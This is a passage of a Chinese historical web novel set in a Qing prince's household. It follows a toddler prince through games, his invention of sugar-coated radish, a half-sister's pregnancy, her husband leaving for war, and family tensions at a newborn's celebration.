胤禛只道:“福晋这回可信了?福宝早慧,怕他心里不只如此想?” 乌拉那拉氏一愣:“爷的意思是……” 不待乌拉那拉氏说完,弘晏便高高兴兴的举着盛开的荷花进来了:“额凉,窝回来了。” 六月的荷花开的正盛,他带着王乳娘到池塘边,在栏杆外瞅了半天,才指挥王乳娘采摘了开得最好的那朵荷花,兴冲冲的拿回来要给乌拉那拉氏瞧得,可谁知一进门,弘晏瞧见的却是乌拉那拉氏红着眼眶,而胤禛脸上毫无波动。 弘晏气鼓鼓地冲到胤禛面前,质问道:“阿玛,泥欺负额凉了。” 弘晏的语气说是质问,可心里已然认定了。 胤禛十分无辜又无奈道:“福宝,你哪只眼睛看到我欺负你额娘了?” 弘晏挺起小胸脯:“窝两只眼睛都看到了。” 胤禛:“……” 乌拉那拉氏冲着弘晏招手:“福宝,你阿玛没欺负额娘。” 弘晏走到乌拉那拉氏面前,乌拉那拉氏一把将弘晏抱到膝头坐着:“福宝,这花可是给额娘的?” 弘晏点了点头,随即将荷花往前一送。 乌拉那拉氏低头闻了闻,很是清香。 乌拉那拉氏接过弘晏手中的荷花,亲了亲弘晏的小脸蛋儿:“额娘很喜欢,谢谢福宝。” 乌拉那拉氏又道:“福宝,有些事情额娘没有告诉你,是觉得你太小了,可你如今知道了,额娘也不瞒你了,你弘晖哥哥不在人世了,额娘原以为这辈子不会再有孩子了,可你出现了,你是上天送给额娘的礼物,是额娘独一无二的珍宝,额娘很是欢喜,额娘从来都没有将你看作是弘晖的代替品,弘晖是弘晖,弘晏是弘晏,是额娘的福运,是额娘的福宝。” 弘晏鼻子酸酸的,直接窝进了乌拉那拉氏怀里:“额凉~” 见此情景,胤禛不由得想起自身,心里复杂的紧。 最终,胤禛只是走过去,用手臂环住了乌拉那拉氏与弘晏。 第73章 第73章小菜一碟 炎热的夏季过去,树木的枝叶转而披上了秋装。 这日,秋高气爽。 弘晏出了正院,与弘历、弘昼在前面的甬道上踢竹球玩。 三个小娃娃围成了一个三角形,由三角形顶点为起点,站位依次为弘昼、弘历、弘晏,而后按照顺序依次来传球、踢球。 玩了几局后,弘昼每次都是把球传给弘晏,再眼瞧着弘晏把球传给弘历,最后等着弘历把竹球再传回给自己,就觉得无趣了,遂提出了新的想法:“四哥,六弟,我们不若玩儿点难度高的,不按站位顺序,喊到谁的名字,谁就来接球,如何?” 弘历思量后说道:“这个主意倒是不错。” 随即,弘历又望向了年纪最小的弘晏:“六弟,你可明白?” 弘晏点点小脑袋:“明白呀。” 不就是考反应力和敏捷力吗? 小菜一碟。 更新规则之后,游戏开始。 因着是弘昼提议的玩法,所以就从弘昼开始发球。 弘昼看向了站在他左边不远的弘晏,便抬起了脚,待脚尖马上触碰到竹球的时候,弘昼嘴角一勾,脚踝一转,立马变了方向“四哥。” 弘昼的话音落下,那脚下的竹球已然着力冲着弘历的方向飞了出去。 弘历早有防备,在竹球滚滚向前来的时候,迎上去抬脚:“六弟。” 而后,弘历一脚直接将球送给了弘晏。 弘历踢的力度不大,那竹球滚动的速度渐渐变慢而后停在了弘晏面前。 弘晏冲着弘历笑了笑,转而看向了弘昼,连小嘴都在跟着用力。 弘昼摆开了架势,已然准备好接球了,可弘晏忽然喊道:“四锅锅。” 紧接着,弘晏将球用力的踢给了弘历。 因着弘历轻敌,是以没接住弘晏这一球。 弘晏露出了胜利的微笑,冲着弘历眨了眨眼睛。 弘昼毫不吝啬的夸道:“厉害啊,六弟。” 弘历见弘晏已然会了玩法,便不再放水,开始认真起来:“六弟。” 弘历声音落下,那竹球已然飞了出去。 弘晏摆开架势去接,可因着弘历用足了力,竹球滚动速度很快再加之方向偏航,那竹球水灵灵的与弘晏擦身而过了。 “啊——” 怀恪郡主好好走着,马上要迈下石阶,眼前忽而横飞过一个竹球,吓了她一跳。 那竹球已然落进了墙角。 瞧清了来人,弘历小跑过去,对着捂住心口、惊魂未定的怀恪郡主拱手道:“二姐姐,对不住,我不是故意的。” 弘晏与弘昼相视一眼,两个小团子跟了过来,分别站在了弘历的左右,紧接着异口同声道:“二姐姐,我们在玩竹球,不知你来,不是诚心要吓你。” 怀恪郡主此时已然平复了加速的心跳,将手从心口放下了:“无碍,你们继续玩吧。” 左不过是个意外,更何况眼前的三个小团子,年龄相加起来不过十岁,自己又哪里能气量小到与他们计较。 话说完,怀恪郡主便像一阵风似的带着丫鬟急匆匆的往碧波苑的方向去了。 弘历有些自责了,如果不是他起了争强好胜的心,用了十足的力道,何至于竹球飞起来,又哪里能惹这样的祸。 竹球虽然并未伤到二姐姐,但惊吓定然不小。 思及此,弘历低下了头:“二姐姐的脸色好像很不好。” “四哥,二姐姐都说了无碍了,那竹球又没有砸到她。”弘昼说完,哒哒的跑过去将竹球捡了回来,兴冲冲道:“咱们接着玩吧。” 弘历有些后怕:“五弟,你和六弟玩吧,我该回去看书了。” 活动了筋骨,此时回去看书也是不错的。 弘昼就听不得“看书”二字,尤其还是从弘历嘴里说出来。 弘昼难以理解,黑溜溜的眼睛瞧向弘历,开口劝说道:“书哪有竹球好玩,四哥,钮祜禄姨娘都说了你可以多玩会儿的。” 这厢,弘晏却想着怀恪郡主突然回府,步子急促且脸色不好,定然是又发生了什么事情。 弘晏敛下思绪,抬起步子便跑了。 弘昼见状,撒腿就去撵弘晏:“弟弟,你去哪啊?” 弘历顾不得那 么多,也抬脚跟了上去。 少顷,三个小团子就鬼鬼祟祟的窝在碧波苑内的窗下偷听墙角。 弘晏刚一进去,就对着院子里的奴才们比了“嘘”的手势。 三位小阿哥面前,碧波苑的奴才们自然不敢造次,只得偷偷禀报了李侧福晋的大丫鬟夏婵。 春风的死还历历在目,她若禀报了李侧福晋,依李侧福晋的性子定要闹起来,届时受苦受罪的人只会是她。 是以,夏婵决定睁一只眼闭一只眼,六阿哥想听墙角就让他听好了。 左不过是三个小娃娃罢了。 其余奴才们得了夏婵的令,自然也就装作瞧不见弘晏三人,各忙各的差事。 弘历左瞧瞧弘晏、右望望弘昼,压低声音劝起来:“五弟,六弟,我们还是走吧,偷听不是君子所为。” 弘昼回道:“什么菌子、栗子的,四哥,我们可是在关心二姐姐。” 弘历面薄,做不来这种事:“可……” 弘昼不想听人讲道理,有些不耐烦了:“哎呀,四哥,你不想听就回去看书吧。” 偷听可是比踢竹球刺激多了。 弘晏皱眉提醒道:“嘘,低声些。” 弘昼乖乖地闭上了嘴。 弘历犹豫过后,还是决定留下来,他若此时走,岂不是太没有义气了。 与此同时,屋内的李侧福晋开了口:“那喇星德又惹你不快了?” 怀恪郡主饮了口茶,方道:“星德听闻西北战事吃紧,竟要递折子主动请缨前去西北,我不答应,软话硬话都说了,他还是铁了心要去。战场刀剑无眼,岂是说笑的,等阿玛下值,我想央阿玛去跟星德说,就他打消了这心思。” 李侧福晋听罢,言道:“茉雅奇,你找你阿玛当说客便是找错人了,女婿要建功立业,是为他长脸添光的好事,他岂会拦着?” 男人又岂能懂女人家的心思。 怀恪郡主迟疑了,而后赌气的揪着帕子道:“那喇星德若是要铁了心要去西北,我便在府里住下,再不回去那喇府了。” 李侧福晋闻言,出声道:“你就是住一辈子,额娘也没二话,可你阿玛若知晓内情,又岂能答应?” 怀恪郡主有些急了,将手中的帕子扔了,嚷嚷道:“这也不成,那也不成,成全了他,就活该苦了我。” 李侧福晋哄道:“你急什么?额娘早有主意了。” 怀恪郡主的情绪平复了些,嗔怪道:“额娘有主意不早些说,白白叫我着急。” 话音落下,怀恪郡主将另一盏茶往李侧福晋的面前推了推。 李侧福晋托起茶盏,慢悠悠地饮了一口,才道:“照我的意思,那喇星德要去西北送/死,你就叫他去好了。” 怀恪郡主立马急了:“额娘,你……” 不待怀恪郡主说完,就被李侧福晋打断:“别急,听额娘说完。” 怀恪郡主只好将话都咽回去,耐着性子听李侧福晋说下去。 李侧福晋娓娓道:“那喇家又不是高门显贵的家族,衣食住行哪里比得上雍亲王府,只是你阿玛选中了那喇星德,自然没有额娘说话的份儿,可如今机会来了。” 李侧福晋说到这里,拉过了怀恪郡主的手:“那喇星德此去西北,若是命好能立下战功,升迁指日可待,你的日子自会越来越好,可若是他时运不济,丢了性命,你且委屈委屈为他守三年,不落人口舌就是了,届时若二嫁,就算是你汗玛法有意让你去抚蒙,你阿玛心疼你年纪轻轻就成了孀妇,自然不会答应的,到那时,你就能寻个比那喇家好上十倍的夫家继续过富贵滋润的日子,有何不好啊。” 李侧福晋憧憬未来,眼睛都亮了起来,越说越激动。 弘时已经十一岁了。 若姐夫出自煊赫之家,于他的前程而言,也是添了一份儿助力。 怀恪郡主惊诧地瞧着面前的李侧福晋,甩开了李侧福晋的手,“蹭”的一下站起来,气急地喊道:“额娘,你怎么能说出这种话,我——呕——” 胃里忽而翻江倒海,怀恪郡主抬手捂住嘴干呕起来。 李侧福晋见状,忙递上了一盏茶。 怀恪郡主喝了两口茶,胃里才舒服多了。 李侧福晋是过来人,一眼就瞧出了不对劲:“茉雅奇,你这月癸水可来了?” 瞧着李侧福晋一本正经的询问,怀恪郡主如实答道:“癸水不准,上月都没来。” 李侧福晋心下明了,但还需确认:“夏婵,快去请柳府医来。” 柳从南拎着药箱进了碧波苑,瞅见了十分显眼而又鬼鬼祟祟的三个小阿哥,但并未多想,就进了屋子。 诊脉过后,柳从南起身禀道:“恭喜侧福晋,郡主已有两月的身孕了。” 李侧福晋摆了摆手,柳从南拎着药箱就出去了。 李侧福晋埋怨道:“这孩子来得真不是时候。” 而怀恪郡主已然沉浸在即将为人母的喜悦中了,将手放在尚且平坦的小腹:“哪里不是时候,我与星德成婚已有两年多了,早该有孩子了,他若知晓要当阿玛了,定然高兴。” 李侧福晋却在此时,将一盆凉水浇下:“茉雅奇,你该不会以为有了这个孩子,就能牵绊住那喇星德,使他改变主意?” 怀恪郡主脸上的笑意僵住了。 李侧福晋趁热打铁道:“茉雅奇,就算你留住了那喇星德,可待你平安生产后,若战事还未平,他该走还是要走的,额娘都是为你好,你还是听额娘的……” 不待李侧福晋说完,就被怀恪郡主打断:“额娘,你方才那番话,我只当从未听过,京城之内,重臣之家是不少,可除了那喇星德,哪个八旗子弟又能豁出性命来护我周全。” 李侧福晋沉默了。 怀恪郡主对着李侧福晋福了个身:“额娘,我回去了。” 窗外的弘晏听到这里,压低声音道:“四哥,五哥,快走。” 而后,三个小团子冲出了碧波苑。 怀恪郡主从屋内出来时,听到外面有动静,便问向了夏婵。 夏婵胡诌道:“是乌雅格格养的猫,不知道何时蹿进来的,已然赶出去了。” 怀恪郡主没多想,直接迈步离开了。 拐角处,弘历对着弘昼与弘晏说道:“五弟,六弟,今日我们可什么也没有听见。” 弘昼与弘晏相视一眼,点了点头。 弘历小小年纪,倒是玲珑通透。 可那李侧福晋,虽是一腔爱女之心,却着实糊涂,她能盘算到的,难道一开始为怀恪郡主挑选额驸的便宜阿玛会想不到嘛。 李侧福晋至今还是不懂便宜阿玛的良苦用心。 弘晏在心里思忖着。 此时,弘历又道:“五弟,六弟,时候不早了,咱们都回去找额娘吧。” 三个小团子达成一致,便在甬道散了。 第74章 第74章冰糖萝卜 那喇府。 书房内的那喇星德已然写完了请缨去西北的折子,正捧着墨迹吹干,听奴才说怀恪郡主从雍亲王府回来,赶忙将折子放下,大步流星出了书房往正屋去。 而此时的怀恪郡主正坐在八仙桌旁喝茶。 那喇星德进了屋门,犹豫过后还是走到了怀恪郡主面前,直言道:“郡主,就算你不喜,西北我是一定要去的。” 怀恪郡主抬眸望向那喇星德,笑道:“额驸,你要做阿玛了。” 那喇星德愣住了。 见怀恪郡主将手放在了小腹的位置,那喇星德才恍然大悟,欣喜之余,直接将怀恪郡主抱起来转了两圈。 双脚陡然悬空,怀恪郡主抱紧了那喇星德,声音里含着甜蜜与娇嗔:“快将我放下来,小心勒着孩子。” 那喇星德闻言,赶忙将怀恪郡主放下来,而后抬手去摸她的小腹。 怀恪郡主半娇半嫌的将那喇星德的手推开。 那喇星德憨憨笑了两声,而后想起了正事,脸上的笑容敛下,转而又变得严肃:“郡主,你如今有了身孕, 我身为人夫,本该照顾左右,可……” 怀恪郡主明白那喇星德的意思,便开口打断了那喇星德还未说完的话,上前两步立在那喇星德面前,抬手穿过腰侧,直接环住了那喇星德:“好了,我知你有抱负,想要去西北建功立业,你去便是,我会照顾好自己和腹中的孩子,平平安安地将咱们的孩子生下来。” 那喇星德低眸,瞧见身量不过刚抵到他胸口的怀恪郡主,脸上的神情变得柔软,两只手伸出去环抱住怀恪郡主,动情道:“茉雅奇,多谢你,我也答应你,一定赶在你生产前回来。” 怀恪郡主整个人贴在那喇星德怀里,耳朵清晰的听到那喇星德胸腔处发出来的颤动,软软地“嗯”了一声。 —— 雍亲王府,正院内。 弘晏哒哒的跑到乌拉那拉氏面前:“额凉,窝回来了。” 乌拉那拉氏俯身将弘晏抱坐到膝头,贴了贴弘晏的小脸蛋儿:“福宝,饿不饿?” 与弘历、弘昼玩了那么久的竹球,该是饿了。 弘晏摇了摇脑袋:“额凉,窝渴。” 乌拉那拉氏便叫人给弘晏端来了半碗热牛乳。 弘晏大口大口的喝完,乌拉那拉氏拿着帕子给弘晏擦嘴角的奶渍。 此时,胤禛迈进门槛,喊道:“福宝。” “阿玛。”弘晏抬眸冲着胤禛喊道。 话音落下,弘晏才瞧见胤禛手上拿了一根冰糖葫芦。 胤禛发觉弘晏的视线已然被冰糖葫芦吸引,嘴角勾了勾,转而走过去将冰糖葫芦递给了弘晏。 他与胤祥原是一同出宫,半路上,胤祥瞧见了卖冰糖葫芦的小贩,便买下一根来,对他言是福晋兆佳氏有孕后便极爱食酸,带回去福晋定然欢喜,胤禛便也买下一根,拿回去给家里的小馋猫吃。 “嘿嘿,谢谢阿玛。”弘晏毫不走心的说完,便低头舔了一口冰糖葫芦。 好甜啊。 这根竹签上一共有七颗山楂果,每一颗山楂果都圆润饱满,外面还裹了一层透明的冰糖外衣。 弘晏大口咬碎了一小块冰糖外衣,才尝到里面的山楂果。 酸酸甜甜的口感。 胤禛自顾自地坐在了小榻的另一侧,流萤端着漆木托盘走过来:“小厨房新做的栗子桂花羹,王爷尝尝。” 弘晏闻到了香味,眼睛立马望向了胤面前的碗:“阿玛,窝也想吃。” 胤禛眉头一挑,又起了逗弄弘晏的心思:“福宝,阿玛可给你带了冰糖葫芦了。” 弘晏看了看手里咬过的冰糖葫芦,下一瞬,便把冰糖葫芦递向胤禛:“阿玛,换换。” 这冰糖葫芦,他不过吃了半个山楂果。 胤禛嘴角抽了抽。 别说他不爱吃这种小食儿,面前的冰糖葫芦已然被弘晏咬过,沾上了弘晏的口水了。 胤禛存心逗弘晏,挑了挑眉,十分硬气:“不换。” 弘晏撅了撅嘴,转而委屈巴巴看向乌拉那拉氏。 乌拉那拉氏想着弘晏刚喝了半碗热牛乳,便只让流萤端来小半碗栗子桂花羹。 “额凉最好了。”弘晏说完,还故意瞅了一眼对面坐着的胤禛。 瞧着变脸比翻书还快的弘晏,胤禛默默勾了勾嘴角。 乌拉那拉氏瞧着斗嘴的父子二人,笑而不语。 —— 那喇星德的折子呈上去,康熙大笔一挥,便批了“允”。 三日后,那喇星德带着怀恪郡主去了雍亲王府。 此番去,一是请安,二是辞行。 胤禛得知怀恪郡主有孕,自然欢喜,他也欣赏那喇星德的志气,只是那喇星德此时离京,作为阿玛来说,胤禛觉得并不是最佳时机,不过小两口既然达成了共识,胤禛自然也不好说些什么。 那喇星德与怀恪郡主用了宴席后,便准备回那喇府。 在走之前,那喇星德又拿出了自己做的小木剑作为礼物送给了弘晏。 弘晏接过了小木剑,笑呵呵道:“谢谢姐夫。” 这小木剑还配有剑鞘,上面雕刻着花纹,那喇星德做的精致又轻便,弘晏很是喜欢。 待那喇星德与怀恪郡主走后,弘晏坐上了摇摇马,左手握住摇摇马的手柄,右手持着小木剑,脸上的表情十分坚毅,好像一个即将要出征的威风凛凛的大将军。 “驾。”弘晏喊完,拿着小木剑的右手便挥舞起来,好似身在战场的大将军正与敌军厮杀。 弘晏一边挥舞小木剑,一边冲着小榻上的乌拉那拉氏喊道:“额凉,窝腻不腻害?” 弘晏得了新的玩具,正是高兴的时候,乌拉那拉氏自然是愿意配合:“厉害,我们福宝大将军最厉害了。” “福宝大将军”五个字一出来,弘晏有些羞臊的笑了,可心里却受用的很。 弘晏玩累了,便从摇摇马上下来,转而躺在了小榻上休息,可不一会儿的功夫,弘晏竟然就睡着了。 入了秋,天气变凉了,乌拉那拉氏直接抱着弘晏去了内室,将弘晏平放到拔步床上,再给弘晏掖好了被子。 待弘晏睡醒后,已经是黄昏时分了。 王乳娘给弘晏洗漱罢,弘晏便出了屋子,下了石阶,到院子里看落日。 眼瞧着那夕阳隐入云端,没了身影,弘晏便又带着王乳娘出门了。 王乳娘边走边问道:“阿哥,您是去如意室还是邀月轩?” 弘晏摇了摇小脑袋。 王乳娘想到了什么,出声提醒道:“阿哥,三阿哥此刻怕是要做功课呢。” 弘晏只道:“窝不找三锅锅。” 王乳娘这便不知弘晏的心思了,只跟在后面跟着,眼瞧着面前的去处,连忙开口:“阿哥,再走就是厨房了。” 弘晏笑了:“嘿嘿,窝就是要去厨房。” 他还从来没有去过雍亲王府的大厨房呢。 王乳娘开口劝道:“哎呦,阿哥,那地方可去不得。” “窝饿了,找吃的。”弘晏说完,便加快了脚下的步子。 王乳娘无奈,只得快些跟上去。 大厨房内的奴才们都在忙碌的准备着晚膳,名叫胡全的管事瞧见了弘晏,赶忙迎上来,哈着腰道:“六阿哥,这厨房烟火味儿大,您怎么来了。” 弘晏摆出了小主子的派头,问道:“有萝卜吗?” 胡全立马回道:“有,阿哥想吃什么萝卜,奴才马上命人给您做。” 弘晏笑道:“带窝去看。” 胡全在前面带路,弘晏人小,自然是看不到灶台,王乳娘便将弘晏抱起来。 弘晏的眼神扫过一排的鸡鸭鱼肉,落在那一盆洗好的蔬菜上面。 “把那个给窝。”弘晏说着,手指向了盆中的白萝卜。 胡全闻言,拿起白萝卜,双手递给了弘晏。 胡全见弘晏拿着白萝卜正认真端详起来,便等着弘晏示下。 看六阿哥是想吃哪种口味的白萝卜菜,他好亲自露一手。 不想,胡全等来的是一声清脆的“咔嚓。” 胡全抬眸,瞧见的便是弘晏正抱着一根白萝卜生啃。 别说胡全,就是王乳娘也惊住了。 “阿哥,这可吃不得。”王乳娘忙出言劝道。 弘晏咀嚼完嘴里的白萝卜:“好吃,甜。” 成为人类幼崽两年多了,他终于吃上纯天然的萝卜了。 爽! 胡全把惊掉的下巴收回来,他还是第一次见生啃萝卜的小阿哥,这分明是兔子嘛。 不过,这种以下犯上的话,他只敢在心里嘀咕罢了。 “六阿哥,这生萝卜除了脆,没什么滋味,您想吃萝卜丸子、萝卜饽饽、萝卜饼还是萝卜羹,奴才都做得。”胡全还是想在弘晏面前露上一手。 全府上下谁不知王爷最喜六阿哥,得了六阿哥的喜欢,还怕没有打赏不成。 弘晏一边咀嚼吃萝卜,一边歪着小脑袋思考。 忽而,弘晏眼睛一亮。 有了! 弘晏对着面前的胡全说道:“窝要冰糖萝卜。” 胡全一愣,迟疑道:“冰糖……萝卜?” 弘晏瞧着胡全吃惊的模样,开口道:“不会做吗?就像冰糖葫芦一样的冰糖萝卜。” 胡全立马回答:“会做,不就冰糖萝卜吗?阿哥您等着吃就是。” 冰糖萝卜? 他打娘胎里出来就没听过这种吃法,不过小主子点名要吃,他要说不会,岂不是打了自己的脸。 无非就是将萝卜块裹上一层糖浆罢了。 点完菜,弘晏就让王乳娘抱着他回去。 至于冰糖萝卜,做好了叫 胡全送来正院就是了。 天彻底暗了下来,胤禛来了正院用晚膳。 刚一坐下,胤禛的目光就注意到了八仙桌上的那一盘从未见过的菜肴:“这是?” 弘晏立马回道:“冰糖萝卜。” 乌拉那拉氏跟着解释:“福宝叫厨房的管事做的,早便送来了,福宝说等爷来了再用呢。” 胤禛翘了翘嘴角。 随即,在弘晏期待的目光中,胤禛提前筷子夹了一块冰糖萝卜,送进口中。 “阿玛,好吃吗?”弘晏眼睛亮亮地望向胤禛。 这可是他想出来的创新菜。 胤禛脸上并没有什么情绪,咀嚼完嘴里的冰糖萝卜,点头道:“好吃。” 得了胤禛的肯定,弘晏与乌拉那拉氏都尝了一块。 弘晏笑得眼睫弯弯:“嘿嘿,好吃,好吃。” 又甜又脆的。 乌拉那拉氏沉默地吃完了。 糖是好糖,萝卜也是好萝卜,可是这裹了糖的萝卜块,味道好生特别。 一抬眸,乌拉那拉氏便与胤禛对视了。 看来,她与胤禛的感受是同样的。 下一瞬,弘晏便晃着乌拉那拉氏的袖子,问道:“额凉,额凉,好吃吗?” 额娘还没有评价呢。 乌拉那拉氏嗫嚅着嘴唇:“嗯,好吃。” “嘿嘿,那额凉多吃。”弘晏说着,便上手拿着筷子笨拙的给乌拉那拉氏往碟子里夹冰糖萝卜。 乌拉那拉氏赶忙阻拦:“福宝,额娘够了,给你阿玛也夹些。” 胤禛:“???” 第75章 第75章出门赴宴 怀恪郡主有了身孕,额驸那喇星德又去了西北,差三岔五的,乌拉那拉氏便派人送些补品到那喇府上去。 李侧福晋挂念着女儿,来正院央求想要去那喇府探望,乌拉那拉氏自然也允了。 毕竟,有孕之人不能受颠簸劳累。 有亲额娘在身旁说说体己话也是好的。 日子到了十月,胤祥的福晋兆佳氏诞下一子,取名为弘眖。 待到洗三礼那天,胤禛与乌拉那拉氏带着弘晏去了十三贝子府庆贺。 弘晈见到弘晏,小步子跑过来,高兴中又带着骄傲:“福宝锅锅,窝也是锅锅了。” 弘晏闻言,摸了摸弘晈的小脑袋。 随即,弘晈拉起弘晏的手,带着他去瞧自家亲弟弟。 出生三天的小娃娃还有些皱皱巴巴的。 弘晈小心的将手探过去,床榻上的小娃娃许是感应到了什么,眼睛虽然闭着,可竟握住了弘晈的食指。 弘晈十分惊讶,可又怕吓到了弘眖,虽压低了声音,可依旧难掩激动:“福宝锅锅,泥看,弟弟抓窝手了。” 床榻旁躺着的兆佳氏只柔柔笑着:“是啊,弘眖知道是哥哥来看他了。” 弘晈一动不动的,任由弘眖握住他的食指。 弘眖的左手握住了弘晈的食指,弘晏有些心痒,便试探着伸出食指轻轻戳了戳弘眖的空着的右手。 下一瞬,弘眖舒展着的小手掌动了,又将弘晏的食指包裹了去。 弘晏的眼睛猛然亮了。 弘眖的手好小好软好暖,他压根感觉不到有骨肉。 弘眖没有松开的意思,弘晏也不敢动,只乖乖地瞧着眼前的小娃娃。 忽而,弘眖哼哼起来。 下一瞬,弘眖张着嘴巴大哭起来,这一哭,手呀、脚呀都跟着扑腾起来。 弘晏与弘晈见状,都赶忙将手收了回去,相视一眼后,有些无措的站在原地。 弘晏见兆佳氏面不改色的将弘眖抱起来,便问道:“十三叔母,弟弟他……” “弘眖是尿了,无妨。”兆佳氏说着,便将裹得严严实实的襁褓打开,那味道登时就散出来了。 弘晏捂住嘴巴撒开腿就跑了,弘晈紧随其后。 兆佳氏笑了,将弘眖递给了乳娘:“瞧你,将两个哥哥给熏出去了。” 跑到了游廊上,弘晏才停下,大口大口地呼吸新鲜空气。 弘晈也跟着停下,嘟囔道:“弟弟的尿也太臭了些。” 弘晏乐了,抬手轻轻戳了戳弘晈的脑袋:“难不成,你的尿是香的?” 弘晈语塞,直接红了脸。 弘晏只以为弘晈脸皮薄,便出声解释:“弟弟,窝跟泥说笑呢。” 弘晈看着弘晏,言道:“锅锅,窝知道的。” 他没事。 不过是弘晏这么一问,他想起了两日前刚刚尿床的事儿了,有些不好意思罢了。 “弟弟,窝们去前厅吃点心吧。”弘晏提议道。 随即,两个小团子手拉手走过游廊往前厅去了。 前厅说话声不断,倒是热闹。 弘晏拉着弘晈到了厅内,便松了弘晈的手,转而对着刚到的胤禵拱手道:“十四叔好。” 可跟在胤禵身旁的女子并不是十四福晋完颜氏,他不认得,也不知该如何称呼,连带着那女子身旁的比他大上几岁的孩子也不认得。 弘晈有样学样,也只给了胤禵问安。 胤禛瞧在眼里,却没说话。 胤禵自己带过来的人,自己介绍就是。 胤禛未言,作为主人的胤祥自然也没有开口,屋内的气氛顿时有些冷了。 胤禵看向面前的两个小团子,出言介绍:“福宝、弘晈,这是你们小十四婶母和弘眏哥哥。” 听胤禵说完,弘晏想起来了。 去岁中秋在永和宫,德妃想要将胤禵的格格罗氏送去庄子上,而胤禵因着罗格格诞下的孩子夭亡,本就心痛,为了安抚爱妾,更是将伊尔根觉罗格格送去了庄子,把其所生的弘眏交给了罗格格养育,如此看来,眼前的女子就是罗格格了。 弘晏掩下思绪,对着眼前人道:“见过小十四婶母,弘眏锅锅好。” 弘晈则有样学样。 罗格格微微屈膝,算作回礼:“两位阿哥有礼了。” 话音落下,罗格格看向了身旁的弘眏。 弘眏则怯怯的开口:“福宝弟弟、弘晈弟弟。” 弘晏扬起小脸儿问道:“十四叔,十四婶母、弘明锅锅和弘暟锅锅怎么没来?” 罗格格抢先开了口:“难为弘晏阿哥惦记,姐姐染了风寒不宜出门,两位阿哥则忙于课业。” 罗格格话音落下,一道清丽的声音便响起了:“我何时染了风寒,我自己竟然不知。” 弘晏抬眼看去,竟是完颜氏带着弘明与弘暟来了。 罗格格的脸色瞬间变得难看,转而瞧向了胤禵。 完颜氏忽略罗格格的目光,直接看向了胤祥:“弟媳给十三哥道喜了。” 弘明与弘暟相视一眼,齐声道:“给十三伯道喜。” 胤祥招呼道:“好,都快坐吧。” 完颜氏朝着胤禛与乌拉那拉氏颔首之后,便收了笑意,冷冷地望向了罗格格。 胤禛与胤祥面前,胤禵不想将家事披露,是以保持了沉默。 罗格格见状,则福身道:“给福晋请安。” 完颜氏不冷不热的应了一声,随即坐到了胤禵身旁。 许久不见,几个小团子立刻叽叽喳喳的说个不停,而后一窝蜂的跑到院子里玩去了。 弘眏则乖巧的立在罗格格身旁。 胤禵发了话:“弘眏,你也玩去吧。” “是,阿玛。”弘眏说完,则抬步去了院子。 到了院子里,弘眏瞧见的是弘晏几个人围成了一个圈在踢竹球,他心痒的很,却不敢上前,只呆呆的站着,满是羡慕渴望的瞧着。 忽而,竹球朝着他滚滚而来,停在了他面前。 弘眏瞧了眼竹球,又抬眸望向弘晏等人,两只手局促的捏着衣角,最终还是怯怯的低下头去。 弘晏见状,笑嘿嘿地喊道:“弘眏锅锅,把竹球踢过来。” 亲额娘被送走,寄人篱下的日子想必不好过。 不然,弘眏也不会是这幅模样。 弘眏满是惊讶的抬起眼。 弘暟见弘眏愣着没动,有些急了,嘟囔道:“踢个竹球都不会,我这就捡回来。” 弘明拦住了弘暟,对着弘眏喊道:“三弟,可是方才没听清楚?将竹球踢过来吧。” 确信是唤自己,弘眏点了点头,随即抬起脚将竹球踢了过去。 弘暟摆开架势,接住了竹球,转而又将竹球踢给了弘晈。 弘晏瞧着弘眏还远远地站着没动,眼睛却一直盯着他们瞧,便小跑过去,拉起弘眏的手:“一起玩啊。” 弘眏迟疑问道:“可以吗?” 弘晏点了点小脑袋,随即拉着弘眏走到了弘明等人面前。 弘晏一走,弘明等人便停了踢竹球的动作,待弘眏走过来,弘暟哼了哼:“弘眏,玩个竹球还要福宝弟弟请你过来,好大的谱。” 弘眏咬着下唇,又低下了头。 弘明见状,点名道:“弘暟。” 弘暟又道:“快些开始吧,等会儿开了宴,可就玩不成了。” 重开一局,弘晏将竹球踢给了弘眏,弘眏接住球,又踢给了弘明。 几个回合下来,弘暟有些不满了:“弘眏,你的球传给了大哥、福宝弟弟和弘晈弟弟,怎的就不传给我。” 面对弘暟的质问,弘眏捏着衣角,无措道:“我……我……” 弘明见状,出声道:“瞧你把三弟吓的,他哪里敢传给你。” 弘暟扯了扯嘴角:“我又不吃人,他怕我作甚?” 末了,弘暟又对着弘眏说道:“待会儿竹球可要传给我。” 弘眏点了点头。 接下来,只要弘眏接到竹球,都把竹球踢给了弘暟。 少顷,一个小太监走过来说道:“几位阿哥,宴席已备好了。” 随后,弘晏等人便高高兴兴的吃席去了,弘眏捡起地上的竹球交给了小太监,方才往正厅去。 宴席一共摆了两桌,弘晏等人自然是坐在小孩儿的那桌。 弘眏将夹起的第一块菜放到了弘晏的碟子里,算作对弘晏的感谢。 弘晏笑了,回夹了一个鱼肉丸子。 接着,弘眏又分别给弘明、弘暟和弘晈夹了菜,而后才开始自己吃。 吃饱喝足,众人便要各自回府了,几个小团子依依不舍的告别。 雍亲王府的马车走了,而十四贝子府却有两辆马车停在十三贝子府门前。 身为主人的胤祥还在石阶上站着,胤禵瞧着完颜氏与罗氏,最后对着罗氏开口道:“我与福晋一道,你与弘眏坐另一辆马车就是。” 不待罗格格开口,弘明就道:“阿玛,您与额娘一辆就是,我和二弟与罗姨娘、三弟一辆,正好说话呢。” 弘暟刚要说话,瞧见弘明冲他挤眼睛之后,就又将张开的嘴巴闭上了。 “也好。”胤禵说完,便先上了马车。 胤祥见胤禵的马车离去,便转身回府,到正院去瞧兆佳氏与弘眖。 “爷,十四弟可是将那罗氏带来了?”兆佳氏问道。 胤祥瞧着熟睡的弘眖,应了一声。 兆佳氏又道:“想来是那罗氏有过人之处了。” 罗氏在场,胤禵打了完颜氏的脸不说,还惹得胤禛不自在。 —— 胤禵与完颜氏的车厢内。 胤禵有些不悦:“福晋不愿前来,可如今又来了,岂非故意让爷在老四与老十三面前丢人?” 完颜氏哼道:“我若不去,旁人还以为十四贝子福晋易了主。” 胤禵非要带着罗氏一同前去,她气不过才不想去,可转念一想,若真的置气不去,岂非合了那罗氏的心意。 她偏不。 胤禵开口道:“你是嫡福晋,自当贤惠大度,不过是一个孩子的洗三礼,我又不曾带她入宫,哪里就占了你的位置,更何况你我是汗阿玛指婚,何人又能动你的位置。” 完颜氏冷声道:“爷既然知道我是汗阿玛指给你的嫡福晋,叫个商贾之女替我赴宴,岂非是打了汗阿玛的脸面。” 见完颜氏搬出康熙来,胤禵有些气急:“你……” 